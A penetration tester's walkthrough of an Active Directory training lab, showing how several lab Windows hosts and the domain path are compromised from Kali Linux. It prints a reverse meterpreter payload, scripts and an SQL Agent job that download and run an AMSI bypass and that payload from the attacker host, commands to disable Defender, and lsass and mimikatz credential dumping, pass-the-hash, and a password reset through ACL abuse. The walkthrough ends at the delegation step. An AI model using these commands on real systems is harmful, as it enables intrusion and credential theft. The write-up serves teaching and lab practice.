Active Directory Pentesting from Linux
Discover the fundamentals of pentesting Active Directory Domain Services on Linux with a thorough tour of Altered Security's LinuxAD lab.
Hello World! Active Directory (AD) has become a focal point in the realm of red teaming. In this post, I'll introduce you to the basics of AD so you understand what's going on and then provide you a detailed walk-through (how I solved) of the Linux AD lab that Altered Security has provided.
Here is my badge of honour, and I would recommend you go get yours.

Basics of Active Directory
Active Directory (like a telephone directory) is a distributed database which is managed and controlled by Active Directory Domain Services (AD DS). There are other services that can be installed along with AD DS, but I will talk about this particular service in this post.

Why it is Required for Offensive Security?
Understanding the basics of AD DS is crucial for both offensive and defensive practices. All the resources (users, groups, group policies, computers and etc.) are encapsulated and stored as objects and AD services manage the properties of these object and some functionality.
The strength of Active Directory (AD) lies in its capability to remotely manage systems. For example, enabling administrators to control user access to specific computers even across different buildings or geographical locations. Simultaneously, this functionality introduces an intriguing attack vector. If an attacker successfully gains an initial foothold on the network, navigating through the directory becomes relatively straightforward using techniques that exploit specific misconfigurations.
When I say AD, I mean Forest
It's a known fact about active directory (which I also heard from Nikhil), that "When we say active directory, do not think of it as a particular domain controller, but rather a forest". This is because if any one domain is compromised, then entire forest is also assumed to be compromised. Which implies forest is considered as the security boundary, not the domains within that forest.
This is related to the "Trusts" concept in Active Directory. I'm not going to get into that in this post. However, if you are curious and want to learn how to exploit it, I recommend taking CRTP course.
Domain Controllers
Domain Controllers (DCs) are the servers that host Active Directory Domain Services (AD DS) to respond to authentication requests and store both schema and objects in the local database. In addition, the domain controllers contain a number of services required for AD DS to function properly:
- The Kerberos Key Distribution Centre (KDC) verifies and encrypts Kerberos tickets.
- NetLogon serves as the authentication communication service.
- Windows Time (W32time) ensures computer time synchronisation, which is required by Kerberos.
- Replication Service to sync the schema along with database among fellow DCs, within same forest. Therefore, each DC functions as both client and server.
Attack Plan
I will start with port scanning on the 192.168.2.0/24
CIDR range with basic enumeration for SMB. Then after, scan for anonymous access on SMBs. This is the most common way of getting into any windows based system, I have seen so far in the challenges. In real-life also people enable file sharing, which if misconfigured can be be exploited.
Accessing the Lab
You will be given web-based lab access (I know, it's pretty inconvenient, but...) along with dynamic credentials and an IP address. When you log in to the portal, you will see an interface where you can select the machines in that tab. I'll be using Kali-GUI.

You can access the windows server, to validate the flags and information via domain controller or systems. But the fun part would be doing it from the meterpreter session.
Port Scanning and Enumeration
Port scanning is critical in penetration testing because it provides information about a system's accessible entry points, allowing security professionals to identify potential vulnerabilities and strengthen defences against unauthorised access or exploitation.

Nmap stands as the de-facto standard for network exploration and security auditing, offering a comprehensive suite of features including service version detection, OS fingerprinting, and robust port scanning capabilities. However, I will only use the port scanning component of this suite.
This Nmap command is used for network scanning and service version detection.
nmap -sV -sS -n -T4 -oG - 192.168.2.0/24
Let's break down the components:
nmap
: This is the command-line utility for network exploration and security auditing.-sV
: This option enables service version detection, which means that Nmap will try to determine the version of the services running on the target hosts.-sS
: This option specifies the use of TCP SYN (stealth) scan, which is a common scanning technique to determine open ports.-n
: This option tells Nmap not to do DNS resolution, using IP addresses only.-T4
: This option sets the timing template to "aggressive," increasing the scanning speed.-oG -
: Outputs the results in the "grepable" format, which can be further processed.192.168.2.0/24
: This is the target CIDR range, specifying a range of IP addresses to scan.
🤔 Why -Pn
is not Used with Nmap?
Although on Windows workstations, ICMP is blocked by default via firewalls. But for Active Directory it is required. As the Microsoft itself says
Microsoft LDAP client uses ICMP ping when a LDAP request is pending for extended time and it waits for a response. It sends ping requests to verify the server is still on the network. If it does not receive ping responses, it fails the LDAP request with LDAP_TIMEOUT.
In this case, it will save a lot of time that -Pn
would have spent assuming all hosts in the CIDR were up and running.
Analysing the Scan Output
After the scanning is complete, you will get an overwhelming output from the nmap scan. Once you will read it line by line, you will get everything.
Host: 192.168.2.2 (cola-dc.cola.local)Status: Up
Host: 192.168.2.2 (cola-dc.cola.local)Ports: 53/open/tcp//domain?///, 88/open/tcp//kerberos-sec//Microsoft Windows Kerberos (server time: 2023-11-15 19:27:42Z)/, 135/open/tcp//msrpc//Micro
soft Windows RPC/, 139/open/tcp//netbios-ssn//Microsoft Windows netbios-ssn/, 389/open/tcp//ldap//Microsoft Windows Active Directory LDAP (Domain: cola.local0., Site: Default-First-Site-Name
)/, 445/open/tcp//microsoft-ds?///, 464/open/tcp//kpasswd5?///, 593/open/tcp//ncacn_http//Microsoft Windows RPC over HTTP 1.0/, 636/open/tcp//ssl|ldap//Microsoft Windows Active Directory LDA
P (Domain: cola.local0., Site: Default-First-Site-Name)/, 3268/open/tcp//ldap//Microsoft Windows Active Directory LDAP (Domain: cola.local0., Site: Default-First-Site-Name)/, 3269/open/tcp//
ssl|ldap//Microsoft Windows Active Directory LDAP (Domain: cola.local0., Site: Default-First-Site-Name)/, 3389/open/tcp//ms-wbt-server//Microsoft Terminal Services/, 5985/open/tcp//http//Mic
rosoft HTTPAPI httpd 2.0 (SSDP|UPnP)/, 9389/open/tcp//mc-nmf//.NET Message Framing/Ignored State: filtered (8306)
Host: 192.168.2.21 ()Status: Up
Host: 192.168.2.21 ()Ports: 135/open/tcp//msrpc//Microsoft Windows RPC/, 139/open/tcp//netbios-ssn//Microsoft Windows netbios-ssn/, 445/open/tcp//microsoft-ds?///, 3389/open/tcp//ms-wbt-s
erver//Microsoft Terminal Services/, 5985/open/tcp//http//Microsoft HTTPAPI httpd 2.0 (SSDP|UPnP)/, 47001/open/tcp//http//Microsoft HTTPAPI httpd 2.0 (SSDP|UPnP)/Ignored State: closed
(8314)
Host: 192.168.2.35 ()Status: Up
Host: 192.168.2.35 ()Ports: 135/open/tcp//msrpc//Microsoft Windows RPC/, 139/open/tcp//netbios-ssn//Microsoft Windows netbios-ssn/, 445/open/tcp//microsoft-ds?///, 3389/open/tcp//ms-wbt-s
erver//Microsoft Terminal Services/, 5985/open/tcp//http//Microsoft HTTPAPI httpd 2.0 (SSDP|UPnP)/, 47001/open/tcp//http//Microsoft HTTPAPI httpd 2.0 (SSDP|UPnP)/Ignored State: closed
(8314)
Host: 192.168.2.78 ()Status: Up
Host: 192.168.2.78 ()Ports: 135/open/tcp//msrpc//Microsoft Windows RPC/, 139/open/tcp//netbios-ssn//Microsoft Windows netbios-ssn/, 445/open/tcp//microsoft-ds?///, 3389/open/tcp//ms-wbt-s
erver//Microsoft Terminal Services/, 5985/open/tcp//http//Microsoft HTTPAPI httpd 2.0 (SSDP|UPnP)/, 47001/open/tcp//http//Microsoft HTTPAPI httpd 2.0 (SSDP|UPnP)/Ignored State: closed
(8314)
Host: 192.168.2.168 ()Status: Up
Host: 192.168.2.168 ()Ports: 135/open/tcp//msrpc//Microsoft Windows RPC/, 139/open/tcp//netbios-ssn//Microsoft Windows netbios-ssn/, 445/open/tcp//microsoft-ds?///, 1433/open/tcp//ms-sql-s
//Microsoft SQL Server/, 3389/open/tcp//ms-wbt-server//Microsoft Terminal Services/, 5985/open/tcp//http//Microsoft HTTPAPI httpd 2.0 (SSDP|UPnP)/, 47001/open/tcp//http//Microsoft HTTPAPI ht
tpd 2.0 (SSDP|UPnP)/Ignored State: closed (8313)
Host: 192.168.2.169 ()Status: Up
Host: 192.168.2.169 ()Ports: 5985/open/tcp//http//Microsoft HTTPAPI httpd 2.0 (SSDP|UPnP)/Ignored State: filtered (8319)
Host: 192.168.2.254 ()Status: Up
Host: 192.168.2.254 ()Ports: 80/open/tcp//http//Microsoft IIS httpd 10.0/, 135/open/tcp//msrpc//Microsoft Windows RPC/, 443/open/tcp//ssl|http//nginx 1.14.0 (Ubuntu)/, 445/open/tcp//micros
oft-ds?///, 2179/open/tcp//vmrdp?///, 3389/open/tcp//ms-wbt-server//Microsoft Terminal Services/, 5985/open/tcp//http//Microsoft HTTPAPI httpd 2.0 (SSDP|UPnP)/Ignored State: filtered (8313)
Host: 192.168.2.1 ()Status: Up
Host: 192.168.2.1 ()Ports: 22/open/tcp//ssh//OpenSSH 8.1p1 Debian 1 (protocol 2.0)/, 5900/open/tcp//vnc//VNC (protocol 3.8)/Ignored State: closed (8318)
Output of the nmap scan
The IP address of the Kali Linux system that I am currently logged in is 192.168.2.1
and rest are the windows server that I am supposed to pwn. It is better to save the list of all the IP's as later we can provide it as file to the RHOSTS
in the metasploit.
cat <<EOF > /root/targets
192.168.2.2
192.168.2.21
192.168.2.169
192.168.2.78
192.168.2.168
192.168.2.35
EOF
Bash command to save the IP of targets
192.168.2
), I will use target T2 to denote 192.168.2.2
IP address of the target system.On the target T2, there are too many open ports, one of which is 88. This is a default port for Key Distribution Center (also known as KDC in the domain of Active Directory). This service runs exclusively on Domain Controllers.
It is generally difficult to compromise the KDC server directly unless you have a zero day exploit for it. I will have to consider other targets for the initial foothold and perform lateral movement all the way to T2 target.
Hunting for SMB Anonymous Logins
SMB (Server Message Block) is one of the most important and often misconfigured service on the network, used to share any kind of resources that includes files, printers and what not. It can be configured to send and process messages (requests) without requiring authentication and this is what I will exploit. Guest access is disabled by default, but users enable it for ease of sharing the resources and forget to restrict it later.

Port number 445 is the default TCP/UDP for the SMB on the Windows system, which is used over 139 these days. If anonymous login is allowed, I can enumerate the shares from the target.
I have already tried it with nmap's smb-enum-shares script, but didn't get any result, so using auxiliary/scanner/smb/smb_enumshares module from the Metasploit framework and configured options as shown below.

There are 4 open shares of which 3 are default (the one with ending $
). When the share name is suffixed with dollar symbol ($
), that means, they are hidden from the file browser. These are generally read-only, unless made writable by the sysadmin.

Foothold on COLA-FILESRV (T21)
There is only one interesting share "files
" and from the name I assume it to be some file sharing endpoint. On further exploration using the smbclient utility from the samba suite, I found that there are two directories: logs and maintenance.

files
share There is only one file in the share, which found in maintenance\cleanup.ps1
, which is (from extension) a Powershell script.

maintenance
directoryFrom the successful execution of the put
command, it is confirmed that file uploads to the SMB share are allowed. This confirm anonymous file upload vulnerability on the network share, which I will exploit to upload the reverse shell in a hope that it will execute as some kind of cron job.

It's contents verify that some sort of scheduled job is set up to run this every five minutes. In windows it is possible through Task Scheduler.

cleanup.ps1
script from the files
share
Create Connect Back Payload
I used the msfvenom utility from the metasploit suite to create the connect back meterpreter payload (windows/x64/meterpreter_reverse_tcp) for powershell format and save it as payload.ps1
in the current directory.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.2.1 LPORT=4444 \
-f psh -o payload.ps1
msfvenom command to create reverse TCP meterpreter payload

OPSEC – Bypass AMSI
Microsoft implements Anti-Malware Scan Interface (AMSI) to integrate with any antivirus software. It enables signature-based scanning and reporting the suspicious powershell scripts (even if executed from memory). However, with certain techniques, AMSI can be easily bypassed. I will be using amsibypass
script provided in the lab.

This script in the lab is mangled to prevent potential detection. Just in case you are curious, it is using Matt Graebers Reflection method.

Updating cleanup.ps1
Script
The cleanup.ps1
script is now modified to first download and eval (Invoke-Expression, iex is an alias) amsibypass and then meterpreter payload.
iex
as bash's eval equivalent for powershell.cat <<EOF > /root/Desktop/tools/cleanup.ps1
iex (iwr -UseBasicParsing http://192.168.2.1:8000/amsibypass)
iex (iwr -UseBasicParsing http://192.168.2.1:8000/payload.ps1)
EOF
Command to modify the contents of cleanup.ps1
script.
Gaining Foothold and Analysing Environment
Coming back to metasploit, it's time to start the exploit handler server and configure the same payload
, lhost
and lport
options that are used in msfvenom.

Ignore the-j
flag in therun
command, it's an old habit. When the exploit will get a connection from the target, it will exit normally. You can keep it running beyond that by setting EXITONSESSION to false before run command.
All I need to do is upload the updated cleanup.ps1
script containing payload dropper code to the maintenance directory via smbclient.

Within a moment, I was able to get a connect-back request from the victim machine, which was repeatedly connecting and disconnecting, resulting in unstable connections.

After some research, I discovered that the script exits after running both lines, thereby terminating the Meterpreter session. To keep it running, I'd modified cleanup.ps1
to run an infinite loop.
Start-Sleep
cmdlet is used to prevent unintentional CPU usage, which may cause detection.while ($true) {
Start-Sleep -Seconds 10
}
Sleep for 10 seconds infinitely.
Finally, I got a stable meterpreter shell from COLA-FILESRV as NT AUTHORITY\SYSTEM user, the most privileged user on the system 🥳

Basic Information Gathering
A list of all scheduled tasks, or detailed information about the specific task that triggered the cleanup.ps1
script, can be obtained using the PowerShell session initiated via the powershell_shell
command from the Meterpreter PowerShell module.
Get-ScheduledTask | ?{$_.Actions | ?{$_.Arguments -match 'cleanup.ps1' -or $_.Execute -match 'cleanup.ps1'}} | Select-Object *
Powershell command to get the details of scheduled task containing cleanup.ps1
So the name of scheduled task that runs this powershell script is LogsCleanup and it is in located in the root path of the scheduled tasks.

cleanup.ps1
scriptKiwi module is the most interesting, and my favourite feature of meterpreter. It loads mimikatz in the memory and provide some high level commands for dumping secrets from the system.
Before loading and running kiwi commands, it is recommended to disable the real-time antivirus scanning. This also requires administrator privileges, which I already have.
Set-MgPreference -DisableRealtimeMonitoring $true
Disable the realtime protection (aka MS Defender)

Since this session has utmost authority on the target, I will be using just one command to get all the credentials: creds_all, and you can see that it returns the both NTHash and the plain text password of the fileadmin user.

COLA-FILESRV
Answer files (or Unattend files) can be used to modify Windows settings in your images during set up automation. It often contain clear-text passwords of local as well as domain administrators. The file unattend.xml
can be found in C:\Windows\Panther\unattend.xml.

unattend.xml
filePost Exploitation Domain Enumeration
To progress within the environment, information about computers, Group Policy Objects (GPOs), users, and groups is essential. These details can be enumerated using tools such as PowerView and the Active Directory module (ADModule).
Using upload command in the meterpreter prompt, I have uploaded ADModule-master.zip and PowerView.ps1 files to the C:\Users\Public
directory.



C:\Users\Public
This is the powershell interactive session, I can extract the archive using Expand-Archive cmdlet and Import-Modules; unless this session is terminated, it will be available for later use.
Expand-Archive ADModule-master.zip
Import-Module .\AdModule-master\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module .\AdModule-master\ADModule-master\Microsoft.ActiveDirectory.Management.dll
iex (cat .\amsibypass)
Import-Module .\PowerView.ps1
Command sequence to import both ADModule and PowerView.ps1
Let's begin the enumeration by obtaining information about the Active Directory domain with Get-ADDomain. This will give me the names of the Forest and Domain Controller NetBIOS servers (marked). I can see from the output that there is only one domain controller in the forest.
Get-ADDomain

Get-ADDomain
Furthermore, the Get-ADGroup output confirms that this is the forest's sole domain controller. The first domain in the forest (also known as the root domain) differs from its child domains in that it contains two additional groups: Enterprise Admins and Schema Admins. For more information, I would recommend the following article.

Get-ADGroup -Filter * | Sort-Object -Property Name | Select DistinguishedName,Name

Get-ADGroup
cmdlet Since the ADModule is more concerned with Active Directory administration than penetration testing, PowerView, which contains numerous cmdlets focused for this purpose, becomes pretty handy.
For example, RestrictedGroups is a group policy setting that allows domain members to be added to local groups using GPO settings. PowerView provides a more efficient solution for listing restricted groups with a dedicated cmdlet compared to the ADModule Get-NetGPOGroup.
Get-NetGPOGroup

Now, the Get-ADUser cmdlet can be used to get a list of all the domain users. Because the Description property is not automatically added to the response, I'm using -Property Description
to instruct the cmdlet to include it.
Get-ADUser -Filter * -Property Description | Select DistinguishedName,SamAccountName,Description
There is an interesting finding in the Description of Sarah's account; I can find the weird text that appears to be the account's password. Usually, the administrator leaves this for anyone who wants to login as this user on any system without remembering or asking again and again.

Get-ADUser
reveals the password of sarah accountAlthough I have the list of the all targets from the Nmap scan, still getting a list of them from Get-ADComputer along with the IPV4Address
and Name
can be used to map the IP addresses with the NetBIOS name of the computers.
Get-ADComputer -Filter * -Property Description,IPV4Address | Select DistinguishedName,DNSHostName,IPV4Address,Name,Descripton | ft

Lateral Movement to COLA-SRV2 (T35)
In any penetration exercise, you are expected to move to the highest level of the infrastructure possible in order to produce an impactful report. Lateral movement refers to moving from one machine/privilege level to another.

There is no fixed path to reach the end goal, I chose the same path as used in the course, but with some different techniques.
There are multiple ways (SMBExec, WinRM, MSSQL Jobs and etc) for lateral movement, but all of them requires one basic thing: credentials.

Password/Hash Spraying
From the previous enumeration, I have two users: fileadmin with NTHash and sarah with Password retrieved from domain enumeration. A password spray attack is a bit modified version of dictionary attach, in which attackers tries to login a large set of username with a limited set of passwords. It can be extended to multiple services/hosts/targets.
I have used crackmapexec tool to spray both users' credentials on all the targets using NTHash (-H
) and password (-p
) authentication.

It turns out, both users can authenticate on all systems, but fileadmin has Local Administrator privileges on COLA-SAFE. Keep it on standby and proceed to COLA-SRV2 (target T35).

Gaining Access to the System
As the target accounts are Active Directory user accounts, access to the system can be obtained using one of three methods: smbexec
from Impacket, crackmapexec
, or evil-winrm
. Given that a PowerShell session is already active on COLA-FILESRV
, it can be used for domain enumeration if required. For interactive access, evil-winrm
is the preferred method.

evil-winrm --ip 192.168.2.35 --user fileadmin --hash FILEADMIN_HASH
evil-winrm --ip 192.168.2.35 -u sarah -p SARAH_PASSWORD

sarah
The fileadmin is not allowed to log in via WinRM, implies that it's not one of the Local Administrators (can be confirmed in the password spray screenshot). However, login with sarah is successful, it is possible that she is a member of the Local Administrator, but crackmapexec didn't show Pwn3d! in case of this login.
Get-LocalGroupMember -Name Administrators

Interesting, even though sarah is not an Administrator on the system, still can login. It means either this account is allowed in the PSRemoting or member of Remote Management Users group.
Sarah isn't a direct member of the "Remote Management Users" group, but she belongs to the "COLA\RemoteManagers" group, which is a member of it. This grants her access to log in to the COLA-SRV2 system.
Get-LocalGroupMember -Name "Remote Management Users"

I am unable to run the AD commands through evil-winrm due to a double-hop issue. Returning to the meterpreter session from COLA-FILESRV, it's confirmed that the sarah's user account is, in fact, a member of the RemoteManagers group.
Get-ADGroupMember -Identity RemoteManagers

sarah
is member of RemoteManager
groupPrivilege Escalation
To take over the system, I must gain access to a more powerful user account. Elevation of privilege, indeed! Since this system does not have auto logon (Winlogon Registry) or an unattend.xml
file, a more thorough examination is needed.
ls C:\Windows\Panther | ?{$_.Name -match "\.xml"}
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "DefaultPassword"

On the system, there is a local administrator account (domain name is same as workstation name) called COLA-SRV2\sshagent
, which I assume is used to configure SSH authentication. It's possible that it can be configured in some way using PowerShell.
The PSReadLine module offers features similar to those of bash. Preserving the command history is one of the features, which can contain sensitive data including passwords. I discovered the login credentials of the sshagent user in plain-text.

cat "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\$($Host.Name)_history.txt"

To learn more about metasploit modules, I configured the DOMAIN, PASSWORD, RHOSTS, and USERNAME fields of the auxiliary/scanner/winrm/winrm_login
module, despite the fact that I can use evil-winrm to log in as COLA-SRV2\sshagent.

auxiliary/scanner/winrm/winrm_login
metasploit moduleIt was anticipated that this would happen since sshagent
is a member of the local administrators group. And I can access the system via evil-winrm.

evil-winrm --ip 192.168.2.35 --user sshagent --password PASSWORD_HERE

Lateral Movement to COLA-SAFE (T78)
In the password spraying task for COLA-SRV2, I have found that fileadmin is a member of local Administrators group on the target T78. With the help of --hash
option in the evil-winrm, I can perform pass the hash (PTH) and login.

evil-winrm --ip 192.168.2.78 --user fileadmin --hash FILEADMIN_NTLM_HASH

This time, I'd like to show off smbexec, another tool. Additionally, it supports the hash technique. The syntax and support for many more options are quite similar to evil-winrm (use -h
).
python smbexec.py -hashes :FILEADMIN_NTLM_HASH [email protected]

smbexec
Returning to the evil-winrm session. I tried executing the AMSI Bypass script, but it failed.
iex (iwr -UseBasicParsing http://192.168.2.1:8000/amsibypass)

There is a "ConstrainedLanguage" in the FullyQualifiedMessageId, and it has to do with language mode. My intuition says, it is because of either Windows Defender Application Control (WDAC, formerly Device Guard) or AppLocker policy.


PowerShell operates in the Constrained Language Mode (CLM) as a result, and practically most of the offensive PowerShell scripts are forbidden, including this amsibypass script.
Think of it like as equivalent to restricted bash in linux. Basic things will work, but not the sensitive elements of the language (like invoking expression containing non-core types or scheduling jobs).
When the CodeIntegrityPolicyEnforcementStatus value is set to 2, code integrity is enforced. Other values include 0
to disable and 1
for audit only mode. As a result, WDAC is enabled on cola-safe!

But since this account is a local administrator on the target, I dumped the lsass process's memory to examine it locally on the attacker machine.

Mimikatz would have done the similar thing, patching the lsass process and reading from its memory to find the credentials and keys.
$proc = Get-Process -Name lsass
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $proc.id lsass.dmp full

lsass.dmp
fileImpacket is one the most versatile suite to deal with AD, that supports Pass the Hash out of the box. I will use smbclient.py with the NTHash to download the C:\Users\fileadmin\Documents\lsass.dmp
from remote to the attacker machine.
python smbclient.py -hashes :FILEADMIN_NTLM_HASH [email protected]
--pw-nt-hash
option in the smbclient (not impacket) to treat the --password
as a hash, but it did not work for me. Please let me know if you've used PTH with smbclient.
lsass.dmp
file from the target to the attacker machine (Kali Linux)Pypykatz is the Python implementation of mimikatz and helped me to parse the minidump and print the hashes of the COLA-SAFE$
(machine account) only. The machine credentials are auto rotated and doesn't contain much value.
pypykatz lsa minidump lsass.dmp


Hunting for Web Configs
I discovered there is a Inetpub folder. The web.config
is a file that is used by IIS and the ASP.NET Core Module to configure an app hosted with IIS. Therefore, it might contain sensitive information like database credentials and some default user logins.

cd C:\Inetpub\www
ls
cd statusapp
ls

web.config
file in the C:\Inetpub\www\statusapp
It didn't take me long to realise that it is encrypted. However, it also raises questions about how the ASP.NET application would read the real values. Can I decrypt it somehow, like ASP.NET would do? Many questions were raised at the same time.

From the naive Google search "decrypt web.config windows", I found that aspnet_regiis can be used to decrypt a particular section (here connectionStrings) of the web.config
file.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf connectionStrings C:\Inetpub\www\statusapp

Moving To COLA-SQL (T168)
The default port 1433 for MS-SQL Server is open on the target T168, and I now have the credentials for the SQL server (not system, but the SQL server running on this system). To verify the login, I intend to use the auxiliary/scanner/mssql/mssql_login
module from the Metasploit framework.

auxiliary/scanner/mssql/mssql_login
module Voila! The login was verified successfully. However, it cannot be leveraged directly to obtain a WinRM or smbclient session from the remote host. Conducting MS-SQL enumeration would be beneficial to identify potential misconfigurations.

I am now using auxiliary/admin/mssql/mssql_enum
module in metasploit for enumerating security misconfigs for MS-SQL. It will perform a series of configuration audits and security checks against a Microsoft SQL Server database.

RHOSTS
and PASSWORD
in the moduleAt first glance, I found that xp_cmdshell
is disabled. This could be a hurdle as it allows running arbitrary commands, enabling remote code execution on Windows systems.

xp_cmdshell
is disabledIt's good news that Microsoft provides SQL queries to enable it by executing from the system administrator's (sa) credentials.

-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1;
-- To update the currently configured value for advanced options.
RECONFIGURE;
-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1;
-- To update the currently configured value for this feature.
RECONFIGURE;
-- To set "show advanced options" back to false
EXECUTE sp_configure 'show advanced options', 0;
-- To update the currently configured value for advanced options.
RECONFIGURE;
SQL queries sequence to enable xp_cmdshell
Utilising the auxiliary/admin/mssql/mssql_sql_file
module along with specified configurations, I successfully executed a sequence of SQL queries to activate xp_cmdshell
.

SQL_FILE
, RHOSTS
and PASSWORD
options in the msf module.I can confirm that it is now enabled after the second execution of the enumeration module. It's time to have some fun!


Configured the auxiliary/admin/mssql_exec
module to execute cmd.exe /c whoami
command on the system via SQL server system administrator account.
This is merely a check to see if the investigation should go further or not.

auxiliary/admin/mssql/mssql_exec
module to execute whoami
and get its output
NetworkService account is the local account with the least privilege on the system. Let's fetch all the SQL related services from the sys.db_server_services relation using the following query.
SELECT
servicename, service_account
FROM
sys.db_server_services;

servicename
and service_account
queryAh! I understand now. The SQL Service is running as NT AUTHORITY\NETWORKSERVICE account, which has the minimum privileges on the local computer. If I manage to establish a reverse shell through the SQL Server Agent service, it would grant me access to the domain user cola\sqladmin.

I then configured a job for Server Agent named PowershellExec to run a PowerShell command that download amsibypass
and payload.ps1
scripts from the attacker machine to the target and and immediately invoke them.
The -noexit
parameter is to prevent powershell from exiting even after the execution. This will keep the interpreter running and so does the payload in the target process's memory.

USE msdb;
-- Delete the existing job if it exists
EXEC msdb.dbo.sp_delete_job @job_name = N'PowershellExec';
-- Create a new job
EXEC dbo.sp_add_job @job_name = N'PowershellExec';
-- Add a job step for PowerShell execution
EXEC sp_add_jobstep
@job_name = N'PowershellExec',
@step_name = N'test_powershell_name1',
@subsystem = N'PowerShell',
@command = N'powershell -noexit -c "iex (iwr -UseBasicParsing http://192.168.2.1:8000/amsibypass);iex (iwr -UseBasicParsing http://192.168.2.1:8000/payload.ps1)"',
@retry_attempts = 1,
@retry_interval = 5;
-- Add the job to the SQL Server Agent
EXEC dbo.sp_add_jobserver @job_name = N'PowershellExec';
-- Start the job
EXEC dbo.sp_start_job N'PowershellExec';
SQL queries sequence execute the powershell commands as cola\sqladmin
user
Just changed the SQL_FILE
parameter from previous executions, and then ran it. In a matter of seconds, a meterpreter session has been initiated, originating from COLA-SQL on behalf of cola\sqladmin
user. With this access, I can proceed for additional enumeration on the server.

cola\sqladmin
This is particularly advantageous as the cola\sqladmin
user is a member of the local Administrators group on the server. 😍

cola\sqladmin
has administrator rights on COLA-SQLSince meterpreter is not running with NT AUTHORITY\SYSTEM privileges and getsystem is not functioning for some reason, I am unable to execute the creds_all
after loading Kiwi. However, there is a workaround: once Kiwi is loaded, I can use kiwi_cmd to execute simple mimikatz commands.

NT AUTHORITY/SYSTEM
First of all, SeDebugPrivilege (privilege::debug
) is requested and then through token impersonation, I can now elevate (token::elevate
) to NT AUTHORITY\SYSTEM privileges. Finally executing sekurlsa::logonpasswords
command to get the hash keys for the both SQLAdmin and system accounts.
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords"

Moving To COLA-REPORTS (T169)
During port scanning, I discovered another target T169. It is not directly reachable from my Linux machine. However, I can try to access this machine from the compromised machines, and it turns out that it can be accessed through COLA-SQL.

Open Ports Discovery using LOL Technique
The following script, generated by ChatGPT, utilises the Test-NetConnection cmdlet. It iteratively attempts to establish connections from "cola-reports" to a designated $Port
, cycling through the ports listed in $ADPorts
. If TcpTestSuceeded yields a truthy value, it indicates that the port is open on COLA-REPORTS.
# Define the common ports used in Windows AD
$ADPorts = 137, 138, 139, 445, 53
foreach ($Port in $ADPorts) {
$result = Test-NetConnection -ComputerName cola-reports -Port $Port
if ($result.TcpTestSucceeded) {
Write-Host "Port $Port is open."
} else {
Write-Host "Port $Port is closed."
}
}
The script was uploaded to C:\Users\Public\PortScan.ps1
and executed using powershell_shell
. The output revealed that SMB-related ports are open.

Traffic Routing via Meterpreter
Now because, I want to use metasploit for password spraying, so it seems logical to add the route that will route traffic through the meterpreter session on COLA-SQL (here 1). This instructs Metasploit to route all traffic for requests with the prefix 192.168.2
in the destination IP address via session 1.
route add 192.168.2.0/24 1

192.168.2.0/24
CIDR via session 1ACL Abuse
Access Control List (ACL) abuse is one fascinating attack vector. An access control entry is typically used to grant access privileges for resources in Active Directory Domain Services. An ACE specifies an object's audit or access permission for a particular user or group.
ACL are collections of related ACEs.
Microsoft provides comprehensive documentation on ACLs and their working.

Executing Invoke-ACLScanner through PowerView, which enumerates modifiable ACLs in a specified domain, reveals that sqladmin possesses GenericAll access to the sqlaccess user. This vulnerability exposes sqlaccess to various attacks, including password modification.
Invoke-ACLScanner -ResolveGUIDs | ?{$_.ObjectDN -match "CN=Users"}

Invoke-ACLScanner
reveals cola\sqladmin
has GenericAll access on cola\sqlaccess
It's essentials to note that altering a user's password is acceptable in controlled environments but unsuitable in real assessments as it could disrupt the legitimate use of the account. For educational purposes, we can utilise the module to change the password of the sqlaccess user.
Now, with the help of Set-ADAccountPassword function from the ADModule, I can modify the password of the cola\sqlaccess
user through the meterpreter session of cola\sqladmin
.
$pass = ConvertTo-SecureString -AsPlainText "Password@123" -Force
Set-ADAccountPassword -Identity sqlaccess -Reset -NewPassword $pass

cola\sqlaccess
userTo verify the effectiveness of the 'Password@123' we assigned to the sqlaccess account, I'll use auxiliary/scanner/smb/smb_login
module. Since the route is established in prior steps, I can effortlessly configure RHOSTS as usual, USERPASS_FILE and SMBDomain.
cat <<EOF > /root/Desktop/tools/user_pass.txt
sarah <SARAH_PASSWORD>
fileadmin <FILEADMIN_PASSWORD>
sqlaccess Password@123
EOF

auxiliary/scanner/smb/smb_login
module for password spaying on T169Excellent! Successfully logged in with cola\sqlaccess
, and this account is also a member of the local Administrators group on COLA-REPORTS.

cola\sqlaccess
has Administrator rights on T169With only one accessible port (5985) from the attacker machine and confirmed Administrator login, I can easily login to the target using evil-winrm for further post-exploitation and further lateral movement.
evil-winrm -i 192.168.2.198 -u sqlaccess -p Password@123

One of the features of the evil-winrm that I used to upload the mimikatz from my attacker machine to the target's current directory is the ability to upload files from the local to the remote target.

C:\Users\sqlaccess\Documents\mimikatz.exe
You will see in the next section why I have used only one user.

COLA-REPORT$
machine account. Owning the Domain Controller (COLA-DC, T2)
Direct access to the Domain Controller (DC) may not be feasible at this stage, but one potential vector remains: delegation. Delegation is a commonly misconfigured feature in Active Directory environments and can be exploited to escalate privileges.
In essence, delegation allows administrators to grant users or groups the ability to perform certain tasks—often with elevated privileges—on behalf of other users. For example, if administrators want members of the Help Desk group to manage users within the Users organisational unit (OU), they can delegate Create, Read, Update, and Delete (CRUD) permissions to that group. These delegated permissions are then inherited by all members of the group, enabling them to manage those user accounts without requiring further administrative approval.

Think of it as IAM role including multiple permissions (here, ACEs) for the entity. In the forest, they are also called Tier 4 Admins, because they are responsible for service administration across the domain.
If it looks overwhelming to understand, do not worry. I'll go into more detail about this in the future. But for now, I will use findDelegation.py from impacket suite to enumerate all the delegations in the current domain.
cd /root/Desktop/tools/impacket-master/examples
python findDelegation.py cola.local/sqlaccess:Password@123 -dc-ip 192.168.2.2

The above output tells that the computer account COLA-REPORTS$ has Unconstrained delegation. Great! Unconstrained delegation represents a serious cyber security risk, because it allows users (here, COLA-REPORTS$) to impersonate another account in the domain to access any resource.


